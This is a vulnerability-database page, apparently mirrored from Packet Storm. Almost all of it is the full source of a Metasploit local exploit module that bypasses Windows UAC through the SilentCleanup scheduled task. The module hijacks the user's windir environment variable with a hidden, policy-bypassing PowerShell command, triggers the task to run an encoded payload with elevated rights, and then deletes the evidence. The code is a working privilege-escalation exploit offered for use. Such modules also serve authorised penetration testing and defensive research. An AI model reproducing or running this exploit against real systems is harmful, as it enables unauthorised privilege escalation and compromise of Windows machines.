Lucene search
K

Windows Escalate UAC Protection Bypass Via SilentCleanup

🗓️ 28 Jun 2019 00:00:00Reported by enigma0x3Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 122 Views

Windows Escalate UAC Protection Bypass Via SilentCleanup. SilentCleanup task in Windows Task Scheduler runs %windir%\system32\cleanmgr.exe with elevated privileges controlled by user environment variables

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::Powershell  
include Msf::Post::Windows::Priv  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',  
'Description' => %q{  
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.  
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,  
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'tyranid', # Discovery  
'enigma0x3', # Discovery  
'nyshone69', # Discovery  
'Carter Brainerd (cbrnrd)' # Metasploit Module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter', 'shell'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [['Microsoft Windows', {}]],  
'DisclosureDate' => 'Feb 24 2019',  
'References' => [  
['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],  
['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],  
['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],  
['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']  
]  
))  
  
register_options(  
[  
OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),  
OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])  
])  
end  
  
def get_bypass_script(cmd)  
scr = %Q{  
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {  
#{cmd}  
} else {  
$registryPath = "HKCU:\\Environment"  
$Name = "windir"  
$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"  
Set-ItemProperty -Path $registryPath -Name $name -Value $Value  
#Depending on the performance of the machine, some sleep time may be required before or after schtasks  
Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}  
schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null  
Remove-ItemProperty -Path $registryPath -Name $name  
}  
}  
vprint_status(scr)  
scr  
end  
  
def exploit  
check_permissions  
  
e_vars = get_envs('TEMP')  
payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"  
  
# Write it to disk, run, delete  
upload_payload_ps1(payload_fp)  
vprint_good("Payload uploaded to #{payload_fp}")  
  
cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")  
end  
  
def check_permissions  
# Check if you are an admin  
case is_in_admin_group?  
when nil  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
when true  
print_good('Part of Administrators group! Continuing...')  
when false  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
  
def upload_payload_ps1(filepath)  
pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)  
begin  
vprint_status('Uploading payload PS1...')  
write_file(filepath, get_bypass_script(pld))  
register_file_for_cleanup(filepath)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation